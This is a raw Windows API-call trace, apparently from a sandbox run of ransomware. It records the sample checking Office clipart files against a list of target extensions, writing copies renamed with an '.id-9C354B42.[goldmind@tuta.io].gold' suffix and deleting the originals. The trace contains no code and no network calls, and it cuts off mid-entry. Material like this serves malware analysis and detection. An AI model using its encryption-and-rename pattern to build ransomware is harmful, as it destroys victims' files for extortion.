lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0108.328] lstrlenW (lpString=".dbf") returned 4 [0108.328] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0108.328] lstrlenW (lpString=".1cd") returned 4 [0108.328] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0108.328] lstrlenW (lpString=".jpg") returned 4 [0108.328] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0108.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0108.328] lstrlenW (lpString=".doc") returned 4 [0108.328] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.328] lstrlenW (lpString=".docx") returned 5 [0108.328] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0108.328] lstrlenW (lpString=".pdf") returned 4 [0108.328] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.328] lstrlenW (lpString=".xls") returned 4 [0108.328] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.328] lstrlenW (lpString=".xlsx") returned 5 [0108.328] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0108.328] lstrlenW (lpString=".ppt") returned 4 [0108.328] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0108.328] lstrlenW (lpString=".zip") returned 4 [0108.329] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.329] lstrlenW (lpString=".rar") returned 4 [0108.329] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.329] lstrlenW (lpString=".bz2") returned 4 [0108.329] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.329] lstrlenW (lpString=".7z") returned 3 [0108.329] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0108.329] lstrlenW (lpString=".dbf") returned 4 [0108.329] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0108.329] lstrlenW (lpString=".1cd") returned 4 [0108.329] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0108.329] lstrlenW (lpString=".jpg") returned 4 [0108.329] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.329] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0108.329] lstrlenW (lpString="J0107528.WMF") returned 12 [0108.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0108.330] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=6792) returned 1 [0108.330] CloseHandle (hObject=0x3b4) returned 1 [0108.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf")) returned 0x20 [0108.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0108.330] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.330] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0108.331] GetLastError () returned 0x0 [0108.331] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x1a88, lpOverlapped=0x0) returned 1 [0108.636] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x1a90, lpOverlapped=0x0) returned 1 [0108.636] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.636] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.637] SetEndOfFile (hFile=0x188) returned 1 [0108.637] CloseHandle (hObject=0x188) returned 1 [0108.637] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.637] SetEndOfFile (hFile=0x3b4) returned 1 [0108.638] CloseHandle (hObject=0x3b4) returned 1 [0108.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.643] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf")) returned 1 [0108.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0108.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0108.657] lstrlenW (lpString=".doc") returned 4 [0108.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.657] lstrlenW (lpString=".docx") returned 5 [0108.657] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0108.657] lstrlenW (lpString=".pdf") returned 4 [0108.657] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.657] lstrlenW (lpString=".xls") returned 4 [0108.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.657] lstrlenW (lpString=".xlsx") returned 5 [0108.657] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0108.657] lstrlenW (lpString=".ppt") returned 4 [0108.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0108.657] lstrlenW (lpString=".zip") returned 4 [0108.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.657] lstrlenW (lpString=".rar") returned 4 [0108.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.657] lstrlenW (lpString=".bz2") returned 4 [0108.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.657] lstrlenW (lpString=".7z") returned 3 [0108.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0108.657] lstrlenW (lpString=".dbf") returned 4 [0108.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0108.657] lstrlenW (lpString=".1cd") returned 4 [0108.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0108.657] lstrlenW (lpString=".jpg") returned 4 [0108.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0108.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0108.657] lstrlenW (lpString=".doc") returned 4 [0108.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.657] lstrlenW (lpString=".docx") returned 5 [0108.658] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0108.658] lstrlenW (lpString=".pdf") returned 4 [0108.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.658] lstrlenW (lpString=".xls") returned 4 [0108.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.658] lstrlenW (lpString=".xlsx") returned 5 [0108.658] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0108.658] lstrlenW (lpString=".ppt") returned 4 [0108.658] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0108.658] lstrlenW (lpString=".zip") returned 4 [0108.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.658] lstrlenW (lpString=".rar") returned 4 [0108.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.658] lstrlenW (lpString=".bz2") returned 4 [0108.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.658] lstrlenW (lpString=".7z") returned 3 [0108.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0108.658] lstrlenW (lpString=".dbf") returned 4 [0108.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0108.658] lstrlenW (lpString=".1cd") returned 4 [0108.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0108.658] lstrlenW (lpString=".jpg") returned 4 [0108.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.658] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0108.658] lstrlenW (lpString="J0107712.WMF") returned 12 [0108.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0108.662] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=4636) returned 1 [0108.662] CloseHandle (hObject=0x3b4) returned 1 [0108.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf")) returned 0x20 [0108.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0108.664] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.664] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0108.664] GetLastError () returned 0x0 [0108.664] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x121c, lpOverlapped=0x0) returned 1 [0108.666] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x1220, lpOverlapped=0x0) returned 1 [0108.666] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.666] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.667] SetEndOfFile (hFile=0x188) returned 1 [0108.667] CloseHandle (hObject=0x188) returned 1 [0108.667] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.667] SetEndOfFile (hFile=0x3b4) returned 1 [0108.669] CloseHandle (hObject=0x3b4) returned 1 [0108.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.669] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf")) returned 1 [0108.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0108.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0108.670] lstrlenW (lpString=".doc") returned 4 [0108.670] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.670] lstrlenW (lpString=".docx") returned 5 [0108.670] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0108.670] lstrlenW (lpString=".pdf") returned 4 [0108.670] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.670] lstrlenW (lpString=".xls") returned 4 [0108.670] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.670] lstrlenW (lpString=".xlsx") returned 5 [0108.670] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0108.670] lstrlenW (lpString=".ppt") returned 4 [0108.670] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0108.670] lstrlenW (lpString=".zip") returned 4 [0108.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.670] lstrlenW (lpString=".rar") returned 4 [0108.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.670] lstrlenW (lpString=".bz2") returned 4 [0108.670] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.670] lstrlenW (lpString=".7z") returned 3 [0108.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0108.670] lstrlenW (lpString=".dbf") returned 4 [0108.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0108.671] lstrlenW (lpString=".1cd") returned 4 [0108.671] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0108.671] lstrlenW (lpString=".jpg") returned 4 [0108.671] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0108.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0108.671] lstrlenW (lpString=".doc") returned 4 [0108.671] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.671] lstrlenW (lpString=".docx") returned 5 [0108.671] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0108.671] lstrlenW (lpString=".pdf") returned 4 [0108.671] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.671] lstrlenW (lpString=".xls") returned 4 [0108.671] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.671] lstrlenW (lpString=".xlsx") returned 5 [0108.671] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0108.671] lstrlenW (lpString=".ppt") returned 4 [0108.671] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0108.671] lstrlenW (lpString=".zip") returned 4 [0108.671] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.671] lstrlenW (lpString=".rar") returned 4 [0108.671] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.671] lstrlenW (lpString=".bz2") returned 4 [0108.671] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.671] lstrlenW (lpString=".7z") returned 3 [0108.671] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0108.671] lstrlenW (lpString=".dbf") returned 4 [0108.671] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0108.671] lstrlenW (lpString=".1cd") returned 4 [0108.671] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0108.671] lstrlenW (lpString=".jpg") returned 4 [0108.671] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.671] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0108.671] lstrlenW (lpString="J0107718.WMF") returned 12 [0108.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0108.672] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=3800) returned 1 [0108.672] CloseHandle (hObject=0x3b4) returned 1 [0108.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf")) returned 0x20 [0108.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0108.673] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.673] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0108.673] GetLastError () returned 0x0 [0108.673] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xed8, lpOverlapped=0x0) returned 1 [0108.674] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xee0, lpOverlapped=0x0) returned 1 [0108.675] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.675] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.675] SetEndOfFile (hFile=0x188) returned 1 [0108.675] CloseHandle (hObject=0x188) returned 1 [0108.675] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.675] SetEndOfFile (hFile=0x3b4) returned 1 [0108.677] CloseHandle (hObject=0x3b4) returned 1 [0108.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf")) returned 1 [0108.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0108.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0108.678] lstrlenW (lpString=".doc") returned 4 [0108.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.678] lstrlenW (lpString=".docx") returned 5 [0108.678] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0108.678] lstrlenW (lpString=".pdf") returned 4 [0108.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.678] lstrlenW (lpString=".xls") returned 4 [0108.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.678] lstrlenW (lpString=".xlsx") returned 5 [0108.678] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0108.678] lstrlenW (lpString=".ppt") returned 4 [0108.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0108.678] lstrlenW (lpString=".zip") returned 4 [0108.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.678] lstrlenW (lpString=".rar") returned 4 [0108.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.678] lstrlenW (lpString=".bz2") returned 4 [0108.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.678] lstrlenW (lpString=".7z") returned 3 [0108.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0108.678] lstrlenW (lpString=".dbf") returned 4 [0108.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0108.678] lstrlenW (lpString=".1cd") returned 4 [0108.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0108.678] lstrlenW (lpString=".jpg") returned 4 [0108.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.679] lstrlenW (lpString="C:\\Program Files\\Microsoft 